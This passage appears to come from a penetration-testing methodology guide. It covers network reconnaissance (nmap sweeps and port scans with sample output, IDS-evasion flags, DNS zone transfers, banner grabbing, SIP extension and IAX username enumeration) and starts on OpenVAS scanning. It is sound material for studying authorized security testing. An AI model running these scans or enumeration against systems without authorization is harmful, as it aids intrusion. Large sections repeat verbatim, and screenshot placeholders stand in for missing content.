  -Pn: Treat all hosts as online -- skip host discovery
  -PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
  -PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
  -PO[protocol list]: IP Protocol Ping
  -n/-R: Never do DNS resolution/Always resolve [default: sometimes]
  --dns-servers <serv1[,serv2],...>: Specify custom DNS servers
  --system-dns: Use OS's DNS resolver
  --traceroute: Trace hop path to each host
SCAN TECHNIQUES:
```

(continues on next page)

(continued from previous page)

```
  -sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
  -sU: UDP Scan
  -sN/sF/sX: TCP Null, FIN, and Xmas scans
  --scanflags <flags>: Customize TCP scan flags
  -sI <zombie host[:probeport]>: Idle scan
  -sY/sZ: SCTP INIT/COOKIE-ECHO scans
  -sO: IP protocol scan
  -b <FTP relay host>: FTP bounce scan
PORT SPECIFICATION AND SCAN ORDER:
  -p <port ranges>: Only scan specified ports
    Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9
  -F: Fast mode - Scan fewer ports than the default scan
  -r: Scan ports consecutively - don't randomize
  --top-ports <number>: Scan <number> most common ports
  --port-ratio <ratio>: Scan ports more common than <ratio>
SERVICE/VERSION DETECTION:
  -sV: Probe open ports to determine service/version info
  --version-intensity <level>: Set from 0 (light) to 9 (try all probes)
  --version-light: Limit to most likely probes (intensity 2)
  --version-all: Try every single probe (intensity 9)
  --version-trace: Show detailed version scan activity (for debugging)
SCRIPT SCAN:
  -sC: equivalent to --script=default
  --script=<Lua scripts>: <Lua scripts> is a comma separated list of
           directories, script-files or script-categories
  --script-args=<n1=v1,[n2=v2,...]>: provide arguments to scripts
  --script-trace: Show all data sent and received
  --script-updatedb: Update the script database.
OS DETECTION:
  -O: Enable OS detection
  --osscan-limit: Limit OS detection to promising targets
  --osscan-guess: Guess OS more aggressively
TIMING AND PERFORMANCE:
  Options which take <time> are in seconds, or append 'ms' (milliseconds),
  's' (seconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m).
  -T<0-5>: Set timing template (higher is faster)
  --min-hostgroup/max-hostgroup <size>: Parallel host scan group sizes
  --min-parallelism/max-parallelism <numprobes>: Probe parallelization
  --min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <time>: Specifies
      probe round trip time.
  --max-retries <tries>: Caps number of port scan probe retransmissions.
  --host-timeout <time>: Give up on target after this long
  --scan-delay/--max-scan-delay <time>: Adjust delay between probes
  --min-rate <number>: Send packets no slower than <number> per second
  --max-rate <number>: Send packets no faster than <number> per second
FIREWALL/IDS EVASION AND SPOOFING:
  -f; --mtu <val>: fragment packets (optionally w/given MTU)
  -D <decoy1,decoy2[,ME],...>: Cloak a scan with decoys
  -S <IP_Address>: Spoof source address
  -e <iface>: Use specified interface
  -g/--source-port <portnum>: Use given port number
  --data-length <num>: Append random data to sent packets
  --ip-options <options>: Send packets with specified ip options
  --ttl <val>: Set IP time-to-live field
  --spoof-mac <mac address/prefix/vendor name>: Spoof your MAC address
  --badsum: Send packets with a bogus TCP/UDP/SCTP checksum
OUTPUT:
```

(continues on next page)

(continued from previous page)

```
  -oN/-oX/-oS/-oG <file>: Output scan in normal, XML, s|<rIpt kIddi3,
     and Grepable format, respectively, to the given filename.
  -oA <basename>: Output in the three major formats at once
  -v: Increase verbosity level (use -vv or more for greater effect)
  -d: Increase debugging level (use -dd or more for greater effect)
  --reason: Display the reason a port is in a particular state
  --open: Only show open (or possibly open) ports
  --packet-trace: Show all packets sent and received
  --iflist: Print host interfaces and routes (for debugging)
  --log-errors: Log errors/warnings to the normal-format output file
  --append-output: Append to rather than clobber specified output files
  --resume <filename>: Resume an aborted scan
  --stylesheet <path/URL>: XSL stylesheet to transform XML output to HTML
  --webxml: Reference stylesheet from Nmap.Org for more portable XML
  --no-stylesheet: Prevent associating of XSL stylesheet w/XML output
MISC:
  -6: Enable IPv6 scanning
  -A: Enable OS detection, version detection, script scanning, and traceroute
  --datadir <dirname>: Specify custom Nmap data file location
  --send-eth/--send-ip: Send using raw ethernet frames or IP packets
  --privileged: Assume that the user is fully privileged
  --unprivileged: Assume the user lacks raw socket privileges
  -V: Print version number
  -h: Print this help summary page.
EXAMPLES:
  nmap -v -A scanme.nmap.org
  nmap -v -sn 192.168.0.0/16 10.0.0.0/8
  nmap -v -iR 10000 -Pn -p 80
SEE THE MAN PAGE (http://nmap.org/book/man.html) FOR MORE OPTIONS AND EXAMPLES
```

Nmap has dozens of options available. Since this section is dealing with port scanning, we will focus on the commands required to perform this task. It is important to note that the commands utilized depend mainly on the time and number of hosts being scanned. The more hosts or less time that you have to perform this tasks, the less that we will interrogate the host. This will become evident as we continue to discuss the options.

Based on the IP set being assessed you would want to scan both the TCP and UDP ports across the range 1 to 65535. The command that will be utilized is as follows:

```
nmap -A -PN -sU -sS -T2 -v -p 1-65535 <nowiki><</nowiki>client ip range<nowiki>></
↪nowiki>/<nowiki><</nowiki>CIDR<nowiki>></nowiki> or <nowiki><</nowiki>Mask<nowiki>>
↪</nowiki> -oA NMap_FULL_<nowiki><</nowiki>client ip range<nowiki>></nowiki>
```

```
nmap -A -PN -sU -sS -T2 -v -p 1-65535 client.com -oA NMap_FULL_client

Starting Nmap 5.51 ( http://nmap.org ) at 2011-04-22 22:27 Eastern Daylight Time

NSE: Loaded 57 scripts for scanning.
Initiating Parallel DNS resolution of 1 host. at 22:27
Completed Parallel DNS resolution of 1 host. at 22:27, 0.10s elapsed
Initiating SYN Stealth Scan at 22:27
Scanning client.com (74.117.116.73) [65535 ports]
Discovered open port 80/tcp on 74.117.116.73
```

On large IP sets, those greater than 100 IP addresses, do not specify a port range. The command that will be utilized is as follows:

```
nmap -A -O -PN <nowiki><</nowiki>client ip range<nowiki>></nowiki>/<nowiki><</nowiki>
↪CIDR<nowiki>></nowiki> or <nowiki><</nowiki>Mask<nowiki>></nowiki> -oA NMap_<nowiki>
↪<</nowiki>client ip range<nowiki>></nowiki>
```

```
nmap -A -O -PN client.com -oA NMap_client

Starting Nmap 5.51 ( http://nmap.org ) at 2011-04-22 22:37 Eastern Daylight Time

Nmap scan report for client.com (74.117.116.73)
Host is up (0.13s latency).
rDNS record for 74.117.116.73: 74-117-116-73.parked.com
Not shown: 999 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.3 ((CentOS))
| http-robots.txt: 2 disallowed entries
|_/click.php /ud.php
|_http-title: client.com
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-favicon: Parked.com domain parking
Warning: OSScan results may be unreliable because we could not find at least 1 o
pen and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Linux 2.6.X (92%), OpenBSD 4.X (88%), FreeBSD 6.X (88%)
```

It should be noted that Nmap has limited options for IPv6. These include TCP connect (-sT), Ping scan (-sn), List scan (-sL) and version detection.

```
nmap -6 -sT -P0 fe80::80a5:26f2:8db7:5d04%12

Starting Nmap 5.51 ( http://nmap.org ) at 2011-04-22 22:42 Eastern Daylight Time

Nmap scan report for lancelot (fe80::80a5:26f2:8db7:5d04)
Host is up (1.0s latency).
Not shown: 988 closed ports
PORT      STATE SERVICE
135/tcp   open  msrpc
445/tcp   open  microsoft-ds
554/tcp   open  rtsp
2869/tcp  open  icslap
3389/tcp  open  ms-term-serv
5000/tcp  open  upnp
5001/tcp  open  commplex-link
5002/tcp  open  rfe
5003/tcp  open  filemaker
5004/tcp  open  avt-profile-1
5357/tcp  open  wsdapi
10243/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 287.05 seconds
```

SNMP Sweeps

SNMP sweeps are performed too as they offer tons of information about a specific system. The SNMP protocol is a stateless, datagram oriented protocol. Unfortunately SNMP servers don't respond to requests with invalid community strings and the underlying UDP protocol does not reliably report closed UDP ports. This means that "no response" from a probed IP address can mean either of the following:

- machine unreachable
- SNMP server not running
- invalid community string
- the response datagram has not yet arrived

SNMPEnum (Linux)

SNMPEnum is a perl script that sends SNMP requests to a single host, then waits for the response to come back and logs them.

Screenshot Here

SMTP Bounce Back

SMTP bounce back, also called a Non-Delivery Report/Receipt (NDR), a (failed) Delivery Status Notification (DSN) message, a Non-Delivery Notification (NDN) or simply a bounce, is an automated electronic mail message from a mail system informing the sender of another message about a delivery problem. This can be used to assist an attacker in fingerprint the SMTP server as SMTP server information, including software and versions, may be included in a bounce message.

Banner Grabbing

Banner Grabbing is an enumeration technique used to glean information about computer systems on a network and the services running its open ports. Banner grabbing is used to identify network the version of applications and operating system that the target host are running.

Banner grabbing is usually performed on Hyper Text Transfer Protocol (HTTP), File Transfer Protocol (FTP), and Simple Mail Transfer Protocol (SMTP); ports 80, 21, and 25 respectively. Tools commonly used to perform banner grabbing are Telnet, nmap, and Netcat.

HTTP

```
JUNK / HTTP/1.0

HEAD / HTTP/9.3

OPTIONS / HTTP/1.0

HEAD / HTTP/1.0
```

9.2.6 Internal Footprinting

The Internal Footprinting phase of Intelligence Gathering involves gathering response results from a target based upon direct interaction from an internal perspective. The goal is to gather as much information about the target as possible.

Active Footprinting

The active footprinting phase of Intelligence Gathering involves gathering response results from a target based upon direct interaction.

Ping Sweeps

Active footprinting begins with the identification of live systems. This is usually performed by conducting a Ping sweep to determine which hosts respond.

Nmap (Windows/Linux)

Nmap ("Network Mapper") is the de facto standard for network auditing/scanning. Nmap runs on both Linux and Windows. Nmap is available in both command line and GUI versions. For the sake of this document, we will only cover the command line.

```
Nmap 5.51 ( http://nmap.org )
Usage: nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
  Can pass hostnames, IP addresses, networks, etc.
  Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
  -iL <inputfilename>: Input from list of hosts/networks
  -iR <num hosts>: Choose random targets
  --exclude <host1[,host2][,host3],...>: Exclude hosts/networks
  --excludefile <exclude_file>: Exclude list from file
HOST DISCOVERY:
  -sL: List Scan - simply list targets to scan
  -sn: Ping Scan - disable port scan
  -Pn: Treat all hosts as online -- skip host discovery
  -PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
  -PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
  -PO[protocol list]: IP Protocol Ping
  -n/-R: Never do DNS resolution/Always resolve [default: sometimes]
  --dns-servers <serv1[,serv2],...>: Specify custom DNS servers
  --system-dns: Use OS's DNS resolver
  --traceroute: Trace hop path to each host
SCAN TECHNIQUES:
  -sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
  -sU: UDP Scan
  -sN/sF/sX: TCP Null, FIN, and Xmas scans
  --scanflags <flags>: Customize TCP scan flags
  -sI <zombie host[:probeport]>: Idle scan
  -sY/sZ: SCTP INIT/COOKIE-ECHO scans
  -sO: IP protocol scan
  -b <FTP relay host>: FTP bounce scan
PORT SPECIFICATION AND SCAN ORDER:
  -p <port ranges>: Only scan specified ports
    Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9
  -F: Fast mode - Scan fewer ports than the default scan
  -r: Scan ports consecutively - don't randomize
  --top-ports <number>: Scan <number> most common ports
  --port-ratio <ratio>: Scan ports more common than <ratio>
SERVICE/VERSION DETECTION:
  -sV: Probe open ports to determine service/version info
  --version-intensity <level>: Set from 0 (light) to 9 (try all probes)
  --version-light: Limit to most likely probes (intensity 2)
  --version-all: Try every single probe (intensity 9)
```

(continues on next page)

(continued from previous page)

```
  --version-trace: Show detailed version scan activity (for debugging)
SCRIPT SCAN:
  -sC: equivalent to --script=default
  --script=<Lua scripts>: <Lua scripts> is a comma separated list of
           directories, script-files or script-categories
  --script-args=<n1=v1,[n2=v2,...]>: provide arguments to scripts
  --script-trace: Show all data sent and received
  --script-updatedb: Update the script database.
OS DETECTION:
  -O: Enable OS detection
  --osscan-limit: Limit OS detection to promising targets
  --osscan-guess: Guess OS more aggressively
TIMING AND PERFORMANCE:
  Options which take <time> are in seconds, or append 'ms' (milliseconds),
  's' (seconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m).
  -T<0-5>: Set timing template (higher is faster)
  --min-hostgroup/max-hostgroup <size>: Parallel host scan group sizes
  --min-parallelism/max-parallelism <numprobes>: Probe parallelization
  --min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <time>: Specifies
      probe round trip time.
  --max-retries <tries>: Caps number of port scan probe retransmissions.
  --host-timeout <time>: Give up on target after this long
  --scan-delay/--max-scan-delay <time>: Adjust delay between probes
  --min-rate <number>: Send packets no slower than <number> per second
  --max-rate <number>: Send packets no faster than <number> per second
FIREWALL/IDS EVASION AND SPOOFING:
  -f; --mtu <val>: fragment packets (optionally w/given MTU)
  -D <decoy1,decoy2[,ME],...>: Cloak a scan with decoys
  -S <IP_Address>: Spoof source address
  -e <iface>: Use specified interface
  -g/--source-port <portnum>: Use given port number
  --data-length <num>: Append random data to sent packets
  --ip-options <options>: Send packets with specified ip options
  --ttl <val>: Set IP time-to-live field
  --spoof-mac <mac address/prefix/vendor name>: Spoof your MAC address
  --badsum: Send packets with a bogus TCP/UDP/SCTP checksum
OUTPUT:
  -oN/-oX/-oS/-oG <file>: Output scan in normal, XML, s|<rIpt kIddi3,
     and Grepable format, respectively, to the given filename.
  -oA <basename>: Output in the three major formats at once
  -v: Increase verbosity level (use -vv or more for greater effect)
  -d: Increase debugging level (use -dd or more for greater effect)
  --reason: Display the reason a port is in a particular state
  --open: Only show open (or possibly open) ports
  --packet-trace: Show all packets sent and received
  --iflist: Print host interfaces and routes (for debugging)
  --log-errors: Log errors/warnings to the normal-format output file
  --append-output: Append to rather than clobber specified output files
  --resume <filename>: Resume an aborted scan
  --stylesheet <path/URL>: XSL stylesheet to transform XML output to HTML
  --webxml: Reference stylesheet from Nmap.Org for more portable XML
  --no-stylesheet: Prevent associating of XSL stylesheet w/XML output
MISC:
  -6: Enable IPv6 scanning
  -A: Enable OS detection, version detection, script scanning, and traceroute
  --datadir <dirname>: Specify custom Nmap data file location
  --send-eth/--send-ip: Send using raw ethernet frames or IP packets
```

(continues on next page)

(continued from previous page)

```
  --privileged: Assume that the user is fully privileged
  --unprivileged: Assume the user lacks raw socket privileges
  -V: Print version number
  -h: Print this help summary page.
EXAMPLES:
  nmap -v -A scanme.nmap.org
  nmap -v -sn 192.168.0.0/16 10.0.0.0/8
  nmap -v -iR 10000 -Pn -p 80
SEE THE MAN PAGE (http://nmap.org/book/man.html) FOR MORE OPTIONS AND EXAMPLES
```

Nmap has dozens of options available. Since this section is dealing with port scanning, we will focus on the commands required to perform this task. It is important to note that the commands utilized depend mainly on the time and number of hosts being scanned. The more hosts or less time that you have to perform this tasks, the less that we will interrogate the host. This will become evident as we continue to discuss the options.

To perform a ping sweep you would want to utilize the following command:

```
nmap -sn <nowiki><</nowiki>client ip range<nowiki>></nowiki>/<nowiki><</nowiki>CIDR
↪<nowiki>></nowiki> or <nowiki><</nowiki>Mask<nowiki>></nowiki>
```

```
nmap -sn 10.25.0.0/24

Starting Nmap 5.51 ( http://nmap.org ) at 2011-04-22 22:58 Eastern Daylight Time

Nmap scan report for 10.25.0.1
Host is up (0.0030s latency).
MAC Address: C0:C1:C0:09:5C:16 (Unknown)
Nmap scan report for 10.25.0.111
Host is up (0.013s latency).
MAC Address: A8:E3:EE:97:3D:46 (Sony Computer Entertainment)
Nmap scan report for 10.25.0.113
Host is up.
Nmap scan report for 10.25.0.119
Host is up (0.018s latency).
MAC Address: 00:14:6C:B4:3A:93 (Netgear)
Nmap done: 256 IP addresses (4 hosts up) scanned in 6.19 seconds
```

Alive6 (Linux)

Alive6, which is part of the THC IPv6 Attack Toolkit, offers the most effective mechanism for detecting all IPv6 systems.

Screenshot Here

Alive6 offers numerous options, but can be simply run by just specifying the interface. This returns all the IPv6 systems that are live on the local-link.

Screenshot Here

Port Scanning

Nmap (Windows/Linux)

Nmap ("Network Mapper") is the de facto standard for network auditing/scanning. Nmap runs on both Linux and Windows. Nmap is available in both command line and GUI versions. For the sake of this document, we will only cover the command line.

```
Nmap 5.51 ( http://nmap.org )
Usage: nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
  Can pass hostnames, IP addresses, networks, etc.
  Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
  -iL <inputfilename>: Input from list of hosts/networks
  -iR <num hosts>: Choose random targets
  --exclude <host1[,host2][,host3],...>: Exclude hosts/networks
  --excludefile <exclude_file>: Exclude list from file
HOST DISCOVERY:
  -sL: List Scan - simply list targets to scan
  -sn: Ping Scan - disable port scan
  -Pn: Treat all hosts as online -- skip host discovery
  -PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
  -PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
  -PO[protocol list]: IP Protocol Ping
  -n/-R: Never do DNS resolution/Always resolve [default: sometimes]
  --dns-servers <serv1[,serv2],...>: Specify custom DNS servers
  --system-dns: Use OS's DNS resolver
  --traceroute: Trace hop path to each host
SCAN TECHNIQUES:
  -sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
  -sU: UDP Scan
  -sN/sF/sX: TCP Null, FIN, and Xmas scans
  --scanflags <flags>: Customize TCP scan flags
  -sI <zombie host[:probeport]>: Idle scan
  -sY/sZ: SCTP INIT/COOKIE-ECHO scans
  -sO: IP protocol scan
  -b <FTP relay host>: FTP bounce scan
PORT SPECIFICATION AND SCAN ORDER:
  -p <port ranges>: Only scan specified ports
    Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9
  -F: Fast mode - Scan fewer ports than the default scan
  -r: Scan ports consecutively - don't randomize
  --top-ports <number>: Scan <number> most common ports
  --port-ratio <ratio>: Scan ports more common than <ratio>
SERVICE/VERSION DETECTION:
  -sV: Probe open ports to determine service/version info
  --version-intensity <level>: Set from 0 (light) to 9 (try all probes)
  --version-light: Limit to most likely probes (intensity 2)
  --version-all: Try every single probe (intensity 9)
  --version-trace: Show detailed version scan activity (for debugging)
SCRIPT SCAN:
  -sC: equivalent to --script=default
  --script=<Lua scripts>: <Lua scripts> is a comma separated list of
           directories, script-files or script-categories
  --script-args=<n1=v1,[n2=v2,...]>: provide arguments to scripts
  --script-trace: Show all data sent and received
  --script-updatedb: Update the script database.
OS DETECTION:
```

(continues on next page)

(continued from previous page)

```
  -O: Enable OS detection
  --osscan-limit: Limit OS detection to promising targets
  --osscan-guess: Guess OS more aggressively
TIMING AND PERFORMANCE:
  Options which take <time> are in seconds, or append 'ms' (milliseconds),
  's' (seconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m).
  -T<0-5>: Set timing template (higher is faster)
  --min-hostgroup/max-hostgroup <size>: Parallel host scan group sizes
  --min-parallelism/max-parallelism <numprobes>: Probe parallelization
  --min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <time>: Specifies
      probe round trip time.
  --max-retries <tries>: Caps number of port scan probe retransmissions.
  --host-timeout <time>: Give up on target after this long
  --scan-delay/--max-scan-delay <time>: Adjust delay between probes
  --min-rate <number>: Send packets no slower than <number> per second
  --max-rate <number>: Send packets no faster than <number> per second
FIREWALL/IDS EVASION AND SPOOFING:
  -f; --mtu <val>: fragment packets (optionally w/given MTU)
  -D <decoy1,decoy2[,ME],...>: Cloak a scan with decoys
  -S <IP_Address>: Spoof source address
  -e <iface>: Use specified interface
  -g/--source-port <portnum>: Use given port number
  --data-length <num>: Append random data to sent packets
  --ip-options <options>: Send packets with specified ip options
  --ttl <val>: Set IP time-to-live field
  --spoof-mac <mac address/prefix/vendor name>: Spoof your MAC address
  --badsum: Send packets with a bogus TCP/UDP/SCTP checksum
OUTPUT:
  -oN/-oX/-oS/-oG <file>: Output scan in normal, XML, s|<rIpt kIddi3,
     and Grepable format, respectively, to the given filename.
  -oA <basename>: Output in the three major formats at once
  -v: Increase verbosity level (use -vv or more for greater effect)
  -d: Increase debugging level (use -dd or more for greater effect)
  --reason: Display the reason a port is in a particular state
  --open: Only show open (or possibly open) ports
  --packet-trace: Show all packets sent and received
  --iflist: Print host interfaces and routes (for debugging)
  --log-errors: Log errors/warnings to the normal-format output file
  --append-output: Append to rather than clobber specified output files
  --resume <filename>: Resume an aborted scan
  --stylesheet <path/URL>: XSL stylesheet to transform XML output to HTML
  --webxml: Reference stylesheet from Nmap.Org for more portable XML
  --no-stylesheet: Prevent associating of XSL stylesheet w/XML output
MISC:
  -6: Enable IPv6 scanning
  -A: Enable OS detection, version detection, script scanning, and traceroute
  --datadir <dirname>: Specify custom Nmap data file location
  --send-eth/--send-ip: Send using raw ethernet frames or IP packets
  --privileged: Assume that the user is fully privileged
  --unprivileged: Assume the user lacks raw socket privileges
  -V: Print version number
  -h: Print this help summary page.
EXAMPLES:
  nmap -v -A scanme.nmap.org
  nmap -v -sn 192.168.0.0/16 10.0.0.0/8
  nmap -v -iR 10000 -Pn -p 80
SEE THE MAN PAGE (http://nmap.org/book/man.html) FOR MORE OPTIONS AND EXAMPLES
```

Nmap has dozens of options available. Since this section is dealing with port scanning, we will focus on the commands required to perform this task. It is important to note that the commands utilized depend mainly on the time and number of hosts being scanned. The more hosts or less time that you have to perform this tasks, the less that we will interrogate the host. This will become evident as we continue to discuss the options.

Based on IP set being assessed, you would want to scan the both TCP and UDP across port range to 1-65535. The command that will be utilized is as follows:

```
nmap -A -PN -sU -sS -T2 -v -p 1-65535 <nowiki><</nowiki>client ip range<nowiki>></
↪nowiki>/<nowiki><</nowiki>CIDR<nowiki>></nowiki> or <nowiki><</nowiki>Mask<nowiki>>
↪</nowiki> -oA NMap_FULL_<nowiki><</nowiki>client ip range<nowiki>></nowiki>
```

```
nmap -A -PN -sU -sS -T2 -v -p 1-65535 client.com -oA NMap_FULL_client

Starting Nmap 5.51 ( http://nmap.org ) at 2011-04-22 22:27 Eastern Daylight Time

NSE: Loaded 57 scripts for scanning.
Initiating Parallel DNS resolution of 1 host. at 22:27
Completed Parallel DNS resolution of 1 host. at 22:27, 0.10s elapsed
Initiating SYN Stealth Scan at 22:27
Scanning client.com (74.117.116.73) [65535 ports]
Discovered open port 80/tcp on 74.117.116.73
```

On large IP sets, those greater than 100 IP addresses do not specify a port range. The command that will be utilized is as follows:

```
nmap -A -O -PN <nowiki><</nowiki>client ip range<nowiki>></nowiki>/<nowiki><</nowiki>
↪CIDR<nowiki>></nowiki> or <nowiki><</nowiki>Mask<nowiki>></nowiki> -oA NMap_<nowiki>
↪<</nowiki>client ip range<nowiki>></nowiki>
```

```
nmap -A -O -PN client.com -oA NMap_client

Starting Nmap 5.51 ( http://nmap.org ) at 2011-04-22 22:37 Eastern Daylight Time

Nmap scan report for client.com (74.117.116.73)
Host is up (0.13s latency).
rDNS record for 74.117.116.73: 74-117-116-73.parked.com
Not shown: 999 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.3 ((CentOS))
| http-robots.txt: 2 disallowed entries
|_/click.php /ud.php
|_http-title: client.com
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-favicon: Parked.com domain parking
Warning: OSScan results may be unreliable because we could not find at least 1 o
pen and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Linux 2.6.X (92%), OpenBSD 4.X (88%), FreeBSD 6.X (88%)
```

It should be noted that Nmap has limited options for IPv6. These include TCP connect (-sT), Ping scan (-sn), List scan (-sL) and version detection.

```
nmap -6 -sT -P0 fe80::80a5:26f2:8db7:5d04%12

Starting Nmap 5.51 ( http://nmap.org ) at 2011-04-22 22:42 Eastern Daylight Time

Nmap scan report for lancelot (fe80::80a5:26f2:8db7:5d04)
Host is up (1.0s latency).
Not shown: 988 closed ports
PORT      STATE SERVICE
135/tcp   open  msrpc
445/tcp   open  microsoft-ds
554/tcp   open  rtsp
2869/tcp  open  icslap
3389/tcp  open  ms-term-serv
5000/tcp  open  upnp
5001/tcp  open  commplex-link
5002/tcp  open  rfe
5003/tcp  open  filemaker
5004/tcp  open  avt-profile-1
5357/tcp  open  wsdapi
10243/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 287.05 seconds
```

SNMP Sweeps

SNMP sweeps are performed too as they offer tons of information about a specific system. The SNMP protocol is a stateless, datagram oriented protocol. Unfortunately SNMP servers don't respond to requests with invalid community strings and the underlying UDP protocol does not reliably report closed UDP ports. This means that "no response" from a probed IP address can mean either of the following:

- Machine unreachable
- SNMP server not running
- invalid community string
- the response datagram has not yet arrived

SNMPEnum (Linux)

SNMPEnum is a perl script that sends SNMP requests to a single host, then waits for the response to come back and logs them.

Screenshot Here

Metasploit

Active footprinting can also be performed to a certain extent through Metasploit. Please refer to the Metasploit Unleashed course for more information on this subject.

Zone Transfers

DNS zone transfer, also known as AXFR, is a type of DNS transaction. It is a mechanism designed to replicate the databases containing the DNS data across a set of DNS servers. Zone transfer comes in two flavors, full (AXFR) and incremental (IXFR). There are numerous tools available to test the ability to perform a DNS zone transfer. Tools commonly used to perform zone transfers are host, dig and nmap.

Host

```
host  <nowiki><</nowiki>domain<nowiki>></nowiki> <nowiki><</nowiki>DNS server<nowiki>>
↪</nowiki>
```

Dig

```
dig @server domain axfr
```

SMTP Bounce Back

SMTP bounce back, also called a Non-Delivery Report/Receipt (NDR), a (failed) Delivery Status Notification (DSN) message, a Non-Delivery Notification (NDN) or simply a bounce, is an automated electronic mail message from a mail system informing the sender of another message about a delivery problem. This can be used to assist an attacker in fingerprint the SMTP server as SMTP server information, including software and versions, may be included in a bounce message.

Reverse DNS

Reverse DNS can be used to obtain valid server names in use within an organizational. There is a caveat that it must have a PTR (reverse) DNS record for it to resolve a name from a provided IP address. If it does resolve then the results are returned. This is usually performed by testing the server with various IP addresses to see if it returns any results.

Banner Grabbing

Banner Grabbing is an enumeration technique used to glean information about computer systems on a network and the services running its open ports. Banner grabbing is used to identify network the version of applications and operating system that the target host are running.

Banner grabbing is usually performed on Hyper Text Transfer Protocol (HTTP), File Transfer Protocol (FTP), and Simple Mail Transfer Protocol (SMTP); ports 80, 21, and 25 respectively. Tools commonly used to perform banner grabbing are Telnet, nmap, netcat and netca6 (IPv6).

HTTP

```
JUNK / HTTP/1.0

HEAD / HTTP/9.3

OPTIONS / HTTP/1.0

HEAD / HTTP/1.0
```

httprint

httprint is a web server fingerprinting tool. It relies on web server characteristics to accurately identify web servers, despite the fact that they may have been obfuscated by changing the server banner strings, or by plug-ins such as

mod_security or servermask. httprint can also be used to detect web enabled devices which do not have a server banner string, such as wireless access points, routers, switches, cable modems, etc. httprint uses text signature strings and it is very easy to add signatures to the signature database.

Screenshot Here

VoIP mapping

VoIP mapping is where we gather information about the topology, the servers and the clients. The main goal here is to find live hosts, PBX type and version, VoIP servers/gateways, clients (hardware and software) types and versions. The majority of techniques covered here assume a basic understanding of the *Session Initiation Protocol (SIP*). There are several tools available to help us identify and enumerate VoIP enabled devices. SMAP is a tool which is specifically designed to scan for SIP enabled devices by generating SIP requests and awaiting responses. SMAP usage is as follows:

Screenshot Here

SIPScan is another scanner for sip enabled devices that can scan a single host or an entire subnet.

Screenshot Here

Extensions

Extensions are any client application or device that initiates a SIP connection, such as an IP phone, PC softphone, PC instant messaging client, or mobile device. The goal is to identify valid usernames or extensions of SIP devices. Enumerating extensions is usually a product of the error messages returned using the SIP method: REGISTER, OPTIONS, or INVITE. There are many tools that can be utilized to enumerate SIP devices. A tool that can be used to enumerate extensions is Svwar from the SIPVicious suite.

Svwar

Svwar is also a tool from the sipvicious suite allows to enumerate extensions by using a range of extensions or using a dictionary file svwar supports all the of the three extension enumeration methods as mentioned above, the default method for enumeration is REGISTER. Svwar usage is as follows:

Screenshot Here

enumIAX

If you've identified an Asterisk server is in use, you need to utilize a username guessing tool such as enumIAX to enumerate Asterisk Exchange protocol usernames. enumIAX is an Inter Asterisk Exchange version 2 (IAX2) protocol username brute-force enumerator. enumIAX may operate in two distinct modes; Sequential Username Guessing or Dictionary Attack. enumIAX usage is as follows:

Screenshot Here

Passive Reconnaissance

Packet Sniffing

Performing packet sniffing allows for the collection IP addresses and MAC addresses from systems that have packet traffic in the stream being analyzed. For the most part, packet sniffing is difficult to detect and so this form of recon is essentially passive and quite stealthy. By collecting and analyzing a large number of packets it becomes possible to fingerprint the operating system and the services that are running on a given device. It may also be possible to grab login information, password hashes, and other credentials from the packet stream. Telnet and older versions of SNMP pass credentials in plain text and are easily compromised with sniffing. Packet sniffing can also be useful in determining which servers act as critical infrastructure and therefore are of interest to an attacker.

9.3 Vulnerability Analysis

Vulnerability Analysis is used to identify and evaluate the security risks posed by identified vulnerabilities. Vulnerability analysis work is divided into two areas: Identification and validation. Vulnerability discovery effort is the key component of the Identification phase. Validation is reducing the number of identified vulnerabilities to only those that are actually valid.

9.3.1 Vulnerability Testing

Vulnerability Testing is divided to include both an Active and Passive method.

Active

Automated Tools

An automated scanner is designed to assess networks, hosts, and associated applications. There are a number of types of automated scanners available today, some focus on particular targets or types of targets. The core purpose of an automated scanner is the enumeration of vulnerabilities present on networks, hosts, and associated applications.

Network/General Vulnerability Scanners

Open Vulnerability Assessment System (OpenVAS) (Linux)

The Open Vulnerability Assessment System (OpenVAS) is a framework of several services and tools offering a comprehensive and powerful vulnerability scanning and vulnerability management solution. OpenVAS is a fork of Nessus that allows free development of a non-proprietary tool.

Like the earlier versions of Nessus, OpenVAS consists of a Client and Scanner. To start the Scanner, simply run openvassd from the command line.

Screenshot Here

There are two ways in which you can run the OpenVAS Client, either the GUI or the command line interface. Using the menu you would select on OpenVAS Client. In the console it is "OpenVAS-Client."

Screenshot Here

Once the client starts up you will need to connect it to the scanner.

Screenshot Here

Submit in the supplied user credentials.

Screenshot Here

